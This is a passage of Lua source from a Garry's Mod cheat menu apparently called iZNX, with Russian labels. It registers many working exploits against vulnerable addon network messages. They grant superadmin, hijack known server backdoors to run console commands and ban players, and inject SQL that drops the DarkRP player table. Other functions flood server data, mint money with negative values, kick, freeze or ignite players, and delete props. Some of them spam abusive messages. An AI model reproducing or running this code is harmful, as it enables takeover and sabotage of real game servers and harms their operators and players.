iZNX.NetStart("net_PSUnBoxServer")
net.WriteEntity(v)
net.WriteString(v2.ID)
net.SendToServer()
end)
i = i + 1
end
end
end
end, },
},
} )
iZNX.AddExploit( "☢ PatchPlay Give Superadmin ☢", {
desc = "Выдача супер админки (нужен перезаход на сервер!)",
severity = 1,
scan = function() return iZNX.ValidNetString( "pplay_deleterow" ) end,
functions = {
{ typ = "players", addr = "l_superadmins" },
{ typ = "func", name = "Запуск", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
local t = iZNX.GetStored( "l_superadmins", {} )
for k, v in pairs( player.GetAll() ) do
if !table.HasValue( t, v ) then continue end
local id = v:SteamID()
local tbl = {}
tbl.name = "FAdmin_PlayerGroup"
tbl.where = {
"steamid",
tostring(id)
}
iZNX.NetStart("pplay_deleterow")
net.WriteTable(tbl)
net.SendToServer()
local tbl = {}
tbl.tblname = "FAdmin_PlayerGroup"
tbl.tblinfo = {
tostring(id),
"superadmin"
}
iZNX.NetStart("pplay_addrow")
net.WriteTable(tbl)
net.SendToServer()
iZNX.ChatText( "Выдана супер админка "..v:Nick() )
end
end, },
},
} )
local thefrenchenculer = ""
if iZNX.ValidNetString( "Sandbox_ArmDupe" ) then
thefrenchenculer = "Sandbox_ArmDupe"
else
if iZNX.ValidNetString( "Sbox_darkrp" ) then
thefrenchenculer = "Sbox_darkrp"
else
if iZNX.ValidNetString( "Sbox_itemstore" ) then
thefrenchenculer = "Sbox_itemstore"
else
if iZNX.ValidNetString( "Ulib_Message" ) then
thefrenchenculer = "Ulib_Message"
else
if iZNX.ValidNetString( "ULogs_Info" ) then
thefrenchenculer = "ULogs_Info"
else
if iZNX.ValidNetString( "ITEM" ) then
thefrenchenculer = "ITEM"
else
if iZNX.ValidNetString( "fix" ) then
thefrenchenculer = "fix"
else
if iZNX.ValidNetString( "Fix_Keypads" ) then
thefrenchenculer = "Fix_Keypads"
else
if iZNX.ValidNetString( "Remove_Exploiters" ) then
thefrenchenculer = "Remove_Exploiters"
else
if iZNX.ValidNetString( "noclipcloakaesp_chat_text" ) then
thefrenchenculer = "noclipcloakaesp_chat_text"
else
if iZNX.ValidNetString( "_Defqon" ) then
thefrenchenculer = "_Defqon"
else
if iZNX.ValidNetString( "_CAC_ReadMemory" ) then
thefrenchenculer = "_CAC_ReadMemory"
else
if iZNX.ValidNetString( "nostrip" ) then
thefrenchenculer = "nostrip"
else
if iZNX.ValidNetString( "nocheat" ) then
thefrenchenculer = "nocheat"
else
if iZNX.ValidNetString( "LickMeOut" ) then
thefrenchenculer = "LickMeOut"
else
if iZNX.ValidNetString( "ULX_QUERY2" ) then
thefrenchenculer = "ULX_QUERY2"
else
if iZNX.ValidNetString( "ULXQUERY2" ) then
thefrenchenculer = "ULXQUERY2"
else
if iZNX.ValidNetString( "MoonMan" ) then
thefrenchenculer = "MoonMan"
else
if iZNX.ValidNetString( "Im_SOCool" ) then
thefrenchenculer = "Im_SOCool"
else
if iZNX.ValidNetString( "Sandbox_GayParty" ) then
thefrenchenculer = "Sandbox_GayParty"
else
if iZNX.ValidNetString( "DarkRP_UTF8" ) then
thefrenchenculer = "DarkRP_UTF8"
else
if iZNX.ValidNetString( "oldNetReadData" ) then
thefrenchenculer = "oldNetReadData"
else
if iZNX.ValidNetString( "memeDoor" ) then
thefrenchenculer = "memeDoor"
else
if iZNX.ValidNetString( "BackDoor" ) then
thefrenchenculer = "BackDoor"
else
if iZNX.ValidNetString( "OdiumBackDoor" ) then
thefrenchenculer = "OdiumBackDoor"
else
if iZNX.ValidNetString( "SessionBackdoor" ) then
thefrenchenculer = "SessionBackdoor"
else
if iZNX.ValidNetString( "DarkRP_AdminWeapons" ) then
thefrenchenculer = "DarkRP_AdminWeapons"
else
if iZNX.ValidNetString( "cucked" ) then
thefrenchenculer = "cucked"
else
if iZNX.ValidNetString( "NoNerks" ) then
thefrenchenculer = "NoNerks"
else
if iZNX.ValidNetString( "kek" ) then
thefrenchenculer = "kek"
else
if iZNX.ValidNetString( "ZimbaBackDoor" ) then
thefrenchenculer = "ZimbaBackDoor"
else
if iZNX.ValidNetString( "something" ) then
thefrenchenculer = "something"
else
if iZNX.ValidNetString( "random" ) then
thefrenchenculer = "random"
else
if iZNX.ValidNetString( "strip0" ) then
thefrenchenculer = "strip0"
else
if iZNX.ValidNetString( "fellosnake" ) then
thefrenchenculer = "fellosnake"
else
if iZNX.ValidNetString( "enablevac" ) then
thefrenchenculer = "enablevac"
else
if iZNX.ValidNetString( "idk" ) then
thefrenchenculer = "idk"
else
if iZNX.ValidNetString( "c" ) then
thefrenchenculer = "c"
else
if iZNX.ValidNetString( "killserver" ) then
thefrenchenculer = "killserver"
else
if iZNX.ValidNetString( "fuckserver" ) then
thefrenchenculer = "fuckserver"
else
if iZNX.ValidNetString( "cvaraccess" ) then
thefrenchenculer = "cvaraccess"
else
if iZNX.ValidNetString( "rcon" ) then
thefrenchenculer = "rcon"
else
if iZNX.ValidNetString( "rconadmin" ) then
thefrenchenculer = "rconadmin"
else
if iZNX.ValidNetString( "web" ) then
thefrenchenculer = "web"
else
if iZNX.ValidNetString( "jesuslebg" ) then
thefrenchenculer = "jesuslebg"
else
if iZNX.ValidNetString( "zilnix" ) then
thefrenchenculer = "zilnix"
else
if iZNX.ValidNetString( "Þà?D)◘" ) then
thefrenchenculer = "Þà?D)◘"
else
if iZNX.ValidNetString( "disablebackdoor" ) then
thefrenchenculer = "disablebackdoor"
else
if iZNX.ValidNetString( "kill" ) then
thefrenchenculer = "kill"
else
if iZNX.ValidNetString( "DefqonBackdoor" ) then
thefrenchenculer = "DefqonBackdoor"
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
iZNX.AddExploit( ".NET Backdoor", {
desc = "Найден .net backdoor: "..thefrenchenculer.."",
severity = 1,
scan = function() return iZNX.ValidNetString( thefrenchenculer ) end,
functions = {
{ typ = "func", name = "Отключить логи", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
iZNX.NetStart(thefrenchenculer)
net.WriteString( "RunConsoleCommand(\"ulx_logecho\", \"0\")" )
net.WriteBit(1)
net.SendToServer()
end, },
{ typ = "func", name = "Toxic.pro", func = function()
iZNX.Menu:Remove()
RunConsoleCommand( "toxic.pro" )
end, },
{ typ = "htxcommandeliste", name = "Список команд" },
{ typ = "soundboard", name = "SoundBoard" },
{ typ = "players", addr = "give_superadmins" },
{ typ = "func", name = "Superadmin", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
local t = iZNX.GetStored( "give_superadmins", {} )
for k, v in pairs( player.GetAll() ) do
if !table.HasValue( t, v ) then continue end
local id = v:SteamID()
iZNX.NetStart(thefrenchenculer)
net.WriteString( "ulx adduserid "..id.." superadmin" )
net.WriteBit(false)
net.SendToServer()
end
end, },
{ typ = "func", name = "Забанить", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
local t = iZNX.GetStored( "give_superadmins", {} )
for k, v in pairs( player.GetAll() ) do
if !table.HasValue( t, v ) then continue end
local id = v:SteamID()
iZNX.NetStart(thefrenchenculer)
net.WriteString( "ulx banid "..id.." 0 nudop udu Haxyu" )
net.WriteBit(false)
net.SendToServer()
end
end }
}
}
)
iZNX.AddExploit( "☢ Трахнуть базу данных SQL ☢", {
desc = "Уничтожение базы данных darkrp master, стирая все данные игроков, вы должны быть супер админом !!",
severity = 4,
scan = function() return iZNX.ValidNetString( "pplay_sendtable" ) end,
functions = {
{ typ = "func", name = "Запуск", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
local tbl = {}
tbl.tblname = "darkrp_door; DROP TABLE darkrp_player; CREATE TABLE darkrp_player(a STRING)"
tbl.ply = LocalPlayer()
iZNX.NetStart("pplay_sendtable")
net.WriteTable(tbl)
net.SendToServer()
iZNX.ChatText( "База данных SQL Server уничтожена" )
end, },
},
} )
iZNX.AddExploit( "Уничтожить данные сервера", {
desc = "Уничтожение данных сервера, вероятно будет бесить одменов)",
severity = 3,
scan = function() return iZNX.ValidNetString( "WriteQuery" ) end,
functions = {
{ typ = "func", name = "Запуск", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
if !timer.Exists( "Defqon_exploit_datatrasher" ) then
iZNX.ChatText( "Запуск спама в данные сервера" )
timer.Create( "Defqon_exploit_datatrasher", 0.5, 0, function()
iZNX.NetStart( "WriteQuery" )
net.WriteString( "BAN ME -> "..LocalPlayer():SteamID()..string.rep( "!", math.random( 1, 5000 ) ) )
net.SendToServer()
end)
else
timer.Remove( "Defqon_exploit_datatrasher" )
iZNX.ChatText( "Прекращение спама" )
end
end, },
},
} )
iZNX.AddExploit( "[NEW] Broadcast", {
desc = "Большой спам, очень скучный",
severity = 1337,
scan = function() return iZNX.ValidNetString( "VJSay" ) end,
functions = {
{ typ = "string", name = "Введите сообщение", default = "DefqonMenu", addr = "vj_string" },
{ typ = "func", name = "Начать", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
iZNX.ChatText("Broadcasting")
iZNX.NetStart("VJSay")
net.WriteEntity(nil)
net.WriteString( iZNX.GetStored( "vj_string", "DefqonMenu" ) )
net.WriteString("")
net.SendToServer()
end }
}
}
)
iZNX.AddExploit( "Give weapons", {
desc = "Exploit дает вам гребаное оружие | Большой шанс неработоспособности",
severity = 3,
scan = function() return iZNX.ValidNetString( "CraftSomething" ) end,
functions = {
{ typ = "string", name = "Тип оружия", default = "ls_sniper", addr = "armes_a_prendre" },
{ typ = "func", name = "Получить", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
iZNX.NetStart( "CraftSomething" )
net.WriteEntity( LocalPlayer() )
net.WriteString( iZNX.GetStored( "armes_a_prendre" ) )
net.WriteString( "" )
net.WriteString( "weapon" )
net.SendToServer()
end, },
},
} )
iZNX.AddExploit( "ULX Extended ", {
desc = "Осторожно! Этот эксплойт опасен, если аддон обновлен вы будете кикнуты",
severity = 3,
scan = function() return iZNX.ValidNetString( "banleaver" ) end,
functions = {
{ typ = "func", name = "Забанить админов", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
for k,v in pairs(player.GetAll()) do
if v:GetUserGroup() != "user" then -- Custom first ranks, youre fucked bro
if v != LocalPlayer() then
iZNX.NetStart("banleaver")
net.WriteString(v:SteamID().."{sep}".."bb")
net.SendToServer()
end
end
end
end, },
{ typ = "func", name = "Забанить всех", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
for k,v in pairs(player.GetAll()) do
if v != LocalPlayer() then
iZNX.NetStart("banleaver")
net.WriteString(v:SteamID().."{sep}".."bb")
net.SendToServer()
end
end
end, },
},
} )
iZNX.AddExploit( "€ Casino NPC €", {
desc = "Exploit на очень эффективные деньги, купим шлюх и кокс ;)",
severity = 4,
scan = function() return iZNX.ValidNetString( "75_plus_win" ) end,
functions = {
{ typ = "float", name = "Сумма", min = "1", max = "100000000", default = "100000", addr = "montant_argent" },
{ typ = "players", addr = "l_players_listing" },
{ typ = "func", name = "Получить", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
local t = iZNX.GetStored( "l_players_listing", {} )
for k, v in pairs( player.GetAll() ) do
if !table.HasValue( t, v ) then continue end
iZNX.NetStart( "75_plus_win" )
net.WriteString( iZNX.GetStored( "montant_argent" ) )
net.WriteEntity(v)
net.SendToServer()
end
end, },
{ typ = "func", name = "Забрать", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
local t = iZNX.GetStored( "l_players_listing", {} )
for k, v in pairs( player.GetAll() ) do
if !table.HasValue( t, v ) then continue end
iZNX.NetStart( "75_plus_win" )
net.WriteString( -iZNX.GetStored( "montant_argent" ) )
net.WriteEntity(v)
net.SendToServer()
end
end, },
},
} )
iZNX.AddExploit( "€ ATM €", {
desc = "Exploit на деньги, идем покупать шлюх и кокс ;)",
severity = 4,
scan = function() return iZNX.ValidNetString( "ATMDepositMoney" ) end,
functions = {
{ typ = "float", name = "Сумма", min = "1", max = "100000000", default = "100000", addr = "montant_argent5" },
{ typ = "func", name = "Получить", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
iZNX.NetStart( "ATMDepositMoney" )
net.WriteFloat( -iZNX.GetStored( "montant_argent5" ) )
net.SendToServer()
end, },
},
} )
iZNX.AddExploit( "TAXI Spawn Lag", {
desc = "Exploit чтобы ссать на процессоры кодеров ;)",
severity = 2,
scan = function() return iZNX.ValidNetString( "Taxi_Add" ) end,
functions = {
{ typ = "func", name = "Спавн", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
local Pos = LocalPlayer():GetEyeTrace().HitPos
iZNX.NetStart("Taxi_Add")
net.WriteString("Taxi Super Exploit #"..math.random( 1, 9999 ))
net.WriteTable({[1]=Pos.x,[2]=Pos.y,[3]=Pos.z})
net.WriteFloat(-9999999)
net.WriteString("The addons leaks is full of feat :D")
net.SendToServer()
end, },
{ typ = "func", name = "Супер спам", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
if !timer.Exists( "taxispam" ) then
iZNX.ChatText( "Спам спавном такси запущен" )
timer.Create( "taxispam", 0.05, 0, function()
local Pos = LocalPlayer():GetEyeTrace().HitPos
iZNX.NetStart("Taxi_Add")
net.WriteString("Taxi Super Exploit #"..math.random( 1, 9999 ))
net.WriteTable({[1]=Pos.x,[2]=Pos.y,[3]=Pos.z})
net.WriteFloat(-9999999)
net.WriteString("The addons leaks is full of feat :D")
net.SendToServer()
end)
else
timer.Remove( "taxispam" )
iZNX.ChatText( "Спам спавном такси прекращен" )
end
end, },
},
} )
iZNX.AddExploit( "€ eMining €", {
desc = "Exploit на деньги ;)",
severity = 4,
scan = function() return iZNX.ValidNetString( "SellMinerals" ) end,
functions = {
{ typ = "float", name = "Сумма", min = "1", max = "100000000", default = "100000", addr = "montant_argent6" },
{ typ = "func", name = "Получить", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
for k,v in pairs(SkillDB) do
if not ( v.iSkill == true ) then
iZNX.NetStart("Upgrade")
net.WriteTable( { LuaName = v.LuaName, Amount = -iZNX.GetStored( "montant_argent6" ) } )
net.SendToServer()
iZNX.NetStart( "SellMinerals" )
net.WriteTable( { Target = LocalPlayer() } )
net.SendToServer()
end
end
end, },
{ typ = "func", name = "Снять", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
for k,v in pairs(SkillDB) do
if not ( v.iSkill == true ) then
iZNX.NetStart("Upgrade")
net.WriteTable( { LuaName = v.LuaName, Amount = iZNX.GetStored( "montant_argent6" ) } )
net.SendToServer()
iZNX.NetStart( "SellMinerals" )
net.WriteTable( { Target = LocalPlayer() } )
net.SendToServer()
end
end
end, },
},
} )
iZNX.AddExploit( "€ Gamble NPC €", {
desc = "Exploit на бессконечные деньги, купим шлюх и кокс ;)",
severity = 4,
scan = function() return iZNX.ValidNetString( "TakeBetMoney" ) end,
functions = {
{ typ = "func", name = "Получить", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
iZNX.NetStart( "TakeBetMoney" )
net.WriteTable({1e333333 , 1e333333})
net.SendToServer()
end, },
},
} )
iZNX.AddExploit( "€ Kun Oil Mod €", {
desc = "Exploit на деньги, купим шлюх и кокс ;)",
severity = 3,
scan = function() return iZNX.ValidNetString( "Kun_SellOil" ) end,
functions = {
{ typ = "func", name = "Получить", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
for k,v in pairs(ents.GetAll()) do
iZNX.NetStart("Kun_SellOil")
net.WriteEntity(v)
net.SendToServer()
end
end, },
},
} )
iZNX.AddExploit( "Join the Police 1", {
desc = "Вступление в полицию, не одевая эту гребаную форму",
severity = 2,
scan = function() return iZNX.ValidNetString( "PoliceJoin" ) end,
functions = {
{ typ = "func", name = "Вступить", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
iZNX.NetStart("PoliceJoin")
net.SendToServer()
end, },
},
} )
iZNX.AddExploit( "Join the Police 2", {
desc = "Вступление в полицию, не одевая эту гребаную форму",
severity = 2,
scan = function() return iZNX.ValidNetString( "CpForm_Answers" ) end,
functions = {
{ typ = "func", name = "Вступить", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
iZNX.NetStart("CpForm_Answers")
net.WriteEntity(LocalPlayer())
net.WriteTable({})
net.SendToServer()
end, },
},
} )
iZNX.AddExploit( "€ Deposit Money €", {
desc = "Exploit на деньги с ATM банкоматом",
severity = 2,
scan = function() return iZNX.ValidNetString( "DepositMoney" ) end,
functions = {
{ typ = "float", name = "Сумма", min = "1", max = "100000000", default = "100000", addr = "montant_argent7" },
{ typ = "func", name = "Запуск", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
for k,v in pairs(ents.GetAll()) do
swag = v
end
for k,v in pairs(player.GetAll()) do
iZNX.NetStart( "DepositMoney" )
net.WriteEntity(swag)
net.WriteString(-iZNX.GetStored( "montant_argent7" ))
net.WriteEntity(v)
net.SendToServer()
end
end, },
},
} )
iZNX.AddExploit( "MDE", {
desc = "Exploit для удаления PermaProps (Наведите на проп и нажмите на кнопку, чтобы удалить его)",
severity = 2,
scan = function() return iZNX.ValidNetString( "MDE_RemoveStuff_C2S" ) end,
functions = {
{ typ = "func", name = "Удалить", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
iZNX.NetStart( "MDE_RemoveStuff_C2S" )
net.WriteTable( {DATA="",TARGET=LocalPlayer():GetEyeTrace().Entity} )
net.SendToServer()
end, },
},
} )
iZNX.AddExploit( "€ SS Shelf NET €", {
desc = "Exploit на деньги",
severity = 3,
scan = function() return iZNX.ValidNetString( "NET_SS_DoBuyTakeoff" ) end,
functions = {
{ typ = "float", name = "Сумма", min = "1", max = "100000000", default = "100000", addr = "montant_argent9" },
{ typ = "func", name = "Получить", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
for k,v in pairs(ents.GetAll()) do
swag = v
end
iZNX.NetStart( 'NET_SS_DoBuyTakeoff' )
net.WriteEntity(LocalPlayer())
net.WriteEntity(swag)
net.WriteTable({'spawned_weapon'})
net.WriteInt(-iZNX.GetStored( "montant_argent9" ), 16)
net.SendToServer()
end, },
},
} )
iZNX.AddExploit( "€ MODIFIER TAXES €", {
desc = "Exploit на деньги",
severity = 3,
scan = function() return iZNX.ValidNetString( "NET_EcSetTax" ) end,
functions = {
{ typ = "float", name = "Сумма", min = "1", max = "100000000", default = "100000", addr = "montant_argent10" },
{ typ = "func", name = "Получить", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
iZNX.NetStart("NET_EcSetTax")
net.WriteInt(-iZNX.GetStored( "montant_argent10" ), 16)
net.SendToServer()
end, },
},
} )
iZNX.AddExploit( "€ Fine System €", {
desc = "Exploit на деньги, купим шлюх и кокс ;)",
severity = 3,
scan = function() return iZNX.ValidNetString( "RP_Accept_Fine" ) end,
functions = {
{ typ = "float", name = "Сумма", min = "1", max = "100000000", default = "100000", addr = "montant_argent11" },
{ typ = "players", addr = "l_players_listing_fine" },
{ typ = "func", name = "Получить", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
local t = iZNX.GetStored( "l_players_listing_fine", {} )
for k, v in pairs( player.GetAll() ) do
if !table.HasValue( t, v ) then continue end
iZNX.NetStart("RP_Accept_Fine")
net.WriteString(v:Nick())
net.WriteDouble(-iZNX.GetStored( "montant_argent11" ))
net.SendToServer()
end
end, },
{ typ = "func", name = "Отправить всем", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
local t = iZNX.GetStored( "l_players_listing_fine", {} )
for k, v in pairs( player.GetAll() ) do
if !table.HasValue( t, v ) then continue end
iZNX.NetStart("RP_Fine_Player")
net.WriteString(v:Nick())
net.WriteString(v:Nick())
net.WriteDouble(iZNX.GetStored( "montant_argent11" ))
net.WriteString("This server deserves anarchy! Server hacked !! You can lick my asshole now x)")
net.SendToServer()
end
end, },
{ typ = "func", name = "Spam send Fine x)", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
if !timer.Exists( "spamamandefine" ) then
iZNX.ChatText( "Начинаем спам" )
timer.Create( "spamamandefine", 0.1, 0, function()
local t = iZNX.GetStored( "l_players_listing_fine", {} )
for k, v in pairs( player.GetAll() ) do
if !table.HasValue( t, v ) then continue end
iZNX.NetStart("RP_Fine_Player")
net.WriteString(v:Nick())
net.WriteString(v:Nick())
net.WriteDouble(iZNX.GetStored( "montant_argent11" ))
net.WriteString("This server deserves anarchy! Server hacked !! You can lick my asshole now x)")
net.SendToServer()
end
end)
else
timer.Remove( "spamamandefine" )
iZNX.ChatText( "Прекращаем спам" )
end
end, },
},
} )
iZNX.AddExploit( "€ 3D Cardealer €", {
desc = "Exploit на деньги, Смотрите на купленный автомобиль, чтобы дублировать его ;)",
severity = 2,
scan = function() return iZNX.ValidNetString( "RXCAR_Shop_Store_C2S" ) end,
functions = {
{ typ = "func", name = "Дублировать", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
for i = 0, 75 do
iZNX.NetStart( "RXCAR_Shop_Store_C2S" );
net.WriteTable( { E = ent } );
net.SendToServer();
end
end, },
{ typ = "func", name = "Продать все", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
local ent
for k,v in pairs(ents.GetAll()) do
if v:GetClass() == "rm_car_dealer" then
ent = v
end
end
for k,v in pairs(RX3DCar_Inventory) do
iZNX.NetStart( "RXCAR_SellINVCar_C2S" )
net.WriteTable({UN=v.UniqueID,SE=ent})
net.SendToServer()
end
end, },
},
} )
iZNX.AddExploit( "Remove Weapons / Money", {
desc = "Удалить оружие / деньги у всех",
severity = 3,
scan = function() return iZNX.ValidNetString( "drugseffect_remove" ) end,
functions = {
{ typ = "func", name = "Удалить оружие", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
iZNX.NetStart("drugseffect_remove")
net.SendToServer()
end, },
{ typ = "func", name = "Удалить деньги", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
iZNX.NetStart("drugs_money")
net.SendToServer()
end, },
},
} )
iZNX.AddExploit( "€ Crafting Mod €", {
desc = "Exploit на деньги",
severity = 3,
scan = function() return iZNX.ValidNetString( "CRAFTINGMOD_SHOP" ) end,
functions = {
{ typ = "float", name = "Сумма", min = "1", max = "100000000", default = "100000", addr = "montant_argent14" },
{ typ = "func", name = "Добавить денег", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
iZNX.NetStart("CRAFTINGMOD_SHOP")
net.WriteTable({
BUY = -iZNX.GetStored( "montant_argent14" );
type = 1
})
net.WriteInt(1,16)
net.SendToServer()
end, },
{ typ = "func", name = "Удалить деньги", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
iZNX.NetStart("CRAFTINGMOD_SHOP")
net.WriteTable({
BUY = LocalPlayer():getDarkRPVar("money");
type = 1
})
net.WriteInt(1,16)
net.SendToServer()
end, },
},
} )
iZNX.AddExploit( "Set on FIRE", {
desc = "Подожгите пропы / игроков. RIP JOHNNY.",
severity = 3,
scan = function() return iZNX.ValidNetString( "drugs_ignite" ) end,
functions = {
{ typ = "func", name = "Поджечь пропы", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
iZNX.NetStart("drugs_ignite")
net.WriteString("prop_physics")
net.SendToServer()
end, },
{ typ = "func", name = "Поджечь игроков", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
iZNX.NetStart("drugs_ignite")
net.WriteString("player")
net.SendToServer()
end, },
},
} )
iZNX.AddExploit( "Change HP", {
desc = "Измените HP игроков",
severity = 2,
scan = function() return iZNX.ValidNetString( "drugseffect_hpremove" ) end,
functions = {
{ typ = "float", name = "Сумма", min = "1", max = "100000000", default = "100", addr = "montant_argent15" },
{ typ = "func", name = "Сетнуть HP", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
iZNX.NetStart("drugseffect_hpremove")
net.WriteString(iZNX.GetStored( "montant_argent15" ))
net.SendToServer()
end, },
},
} )
iZNX.AddExploit( "Teleportation", {
desc = "Телепорт на спавн",
severity = 2,
scan = function() return iZNX.ValidNetString( "DarkRP_Kun_ForceSpawn" ) end,
functions = {
{ typ = "func", name = "Телепорт", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
iZNX.NetStart("DarkRP_Kun_ForceSpawn")
net.SendToServer()
end, },
},
} )
iZNX.AddExploit( "Удалить проп 2", {
desc = "Удаление всех пропов",
severity = 2,
scan = function() return iZNX.ValidNetString( "drugs_text" ) end,
functions = {
{ typ = "func", name = "Удалить", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
iZNX.NetStart("drugs_text")
net.WriteString("prop_physics")
net.SendToServer()
end, },
},
} )
iZNX.AddExploit( "Kick 3", {
desc = "Exploit для кика всех людей",
severity = 3,
scan = function() return iZNX.ValidNetString( "NLRKick" ) end,
functions = {
{ typ = "players", addr = "l_players_listing515" },
{ typ = "func", name = "Кик", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
local t = iZNX.GetStored( "l_players_listing515", {} )
for k, v in pairs( player.GetAll() ) do
if !table.HasValue( t, v ) then continue end
iZNX.NetStart("NLRKick")
net.WriteEntity(v)
net.SendToServer()
end
end, },
},
} )
iZNX.AddExploit( "Kick 2", {
desc = "Exploit для кика",
severity = 3,
scan = function() return iZNX.ValidNetString( "RecKickAFKer" ) end,
functions = {
{ typ = "players", addr = "l_players_listing2545" },
{ typ = "func", name = "Кик", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
local t = iZNX.GetStored( "l_players_listing2545", {} )
for k, v in pairs( player.GetAll() ) do
if !table.HasValue( t, v ) then continue end
iZNX.NetStart("RecKickAFKer")
net.WriteEntity(v)
net.SendToServer()
end
end, },
},
} )
iZNX.AddExploit( "Loot Items", {
desc = "Auto-Loot предметов",
severity = 2,
scan = function() return iZNX.ValidNetString( "GMBG:PickupItem" ) end,
functions = {
{ typ = "func", name = "Лут", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
for k, v in pairs(ents.GetAll()) do
if v:GetClass() == "item_loot" then
iZNX.NetStart("GMBG:PickupItem")
net.WriteEntity(v)
net.SendToServer()
iZNX.NetStart("GMBG:PickupItem")
net.WriteEntity(v)
net.SendToServer()
iZNX.NetStart("GMBG:PickupItem")
net.WriteEntity(v)
net.SendToServer()
iZNX.NetStart("GMBG:PickupItem")
net.WriteEntity(v)
net.SendToServer()
iZNX.NetStart("GMBG:PickupItem")
net.WriteEntity(v)
net.SendToServer()
iZNX.NetStart("GMBG:PickupItem")
net.WriteEntity(v)
net.SendToServer()
end
end
end, },
},
} )
iZNX.AddExploit( "Kick everyone", {
desc = "Exploit для кика всх людей",
severity = 3,
scan = function() return iZNX.ValidNetString( "DL_Answering" ) end,
functions = {
{ typ = "func", name = "Кик", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
if !timer.Exists( "kickallnoob" ) then
iZNX.ChatText( "Кик всех запущен" )
timer.Create( "kickallnoob", 0.05, 0, function()
for i = 1, 2000 do
iZNX.NetStart("DL_Answering")
net.SendToServer()
end
end)
else
timer.Remove( "kickallnoob" )
iZNX.ChatText( "Кик всех прекращен" )
end
end, },
},
} )
iZNX.AddExploit( "Kick 1", {
desc = "Exploit для кика админов",
severity = 3,
scan = function() return iZNX.ValidNetString( "plyWarning" ) end,
functions = {
{ typ = "players", addr = "l_players_listing255" },
{ typ = "func", name = "Кик", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
local t = iZNX.GetStored( "l_players_listing255", {} )
for k, v in pairs( player.GetAll() ) do
if !table.HasValue( t, v ) then continue end
iZNX.NetStart('plyWarning')
net.WriteEntity(v)
net.WriteString('You have to select a player before doing a action.')
net.SendToServer()
iZNX.ChatText("Попытка кикнуть ".. v:Nick().. "!")
end
end, },
},
} )
iZNX.AddExploit( "NLR Freeze", {
desc = "Exploit для заморозки всех людей",
severity = 3,
scan = function() return iZNX.ValidNetString( "NLR.ActionPlayer" ) end,
functions = {
{ typ = "players", addr = "l_players_listing45" },
{ typ = "func", name = "Заморозить", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
local t = iZNX.GetStored( "l_players_listing45", {} )
for k, v in pairs( player.GetAll() ) do
if !table.HasValue( t, v ) then continue end
iZNX.NetStart("NLR.ActionPlayer")
net.WriteEntity(v)
net.SendToServer()
end
end, },
},
} )
iZNX.AddExploit( "Delete props 1", {
desc = "Удаление всех пропов на сервере",
severity = 2,
scan = function() return iZNX.ValidNetString( "timebombDefuse" ) end,
functions = {
{ typ = "func", name = "Удалить", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
for k,v in pairs(ents.GetAll()) do
iZNX.NetStart("timebombDefuse")
net.WriteEntity(v)
net.WriteBool(true)
net.SendToServer()
end
end, },
},
} )
iZNX.AddExploit( "Hack Keypads", {
desc = "w0w h4ck3r",
severity = 1,
scan = function() return iZNX.ValidNetString( "start_wd_emp" ) end,
functions = {
{ typ = "func", name = "Хакнуть", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
iZNX.NetStart("start_wd_emp")
net.SendToServer()
end, },
},
} )
iZNX.AddExploit( "€ Kart System €", {
desc = "Exploit для денег.",
severity = 3,
scan = function() return iZNX.ValidNetString( "kart_sell" ) end,
functions = {
{ typ = "func", name = "Запуск", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
for i=1, 300 do
iZNX.NetStart("kart_sell")
net.WriteString("sw_gokart")
net.SendToServer()
end
end, },
},
} )
iZNX.AddExploit( "€ Farming Mod €", {
desc = "Exploit для денег, купим шлюх и кокс ;)",
severity = 3,
scan = function() return iZNX.ValidNetString( "FarmingmodSellItems" ) end,
functions = {
{ typ = "float", name = "Сумма", min = "1", max = "100000000", default = "100000", addr = "montant_argent1" },
{ typ = "func", name = "Получить", func = function()
surface.PlaySound("garrysmod/ui_click.wav")
iZNX.NetStart( "FarmingmodSellItems" )
net.WriteTable(
{
Cost = 10,
CropModel = "models/props/eryk/garlic.mdl",
CropType = 2,
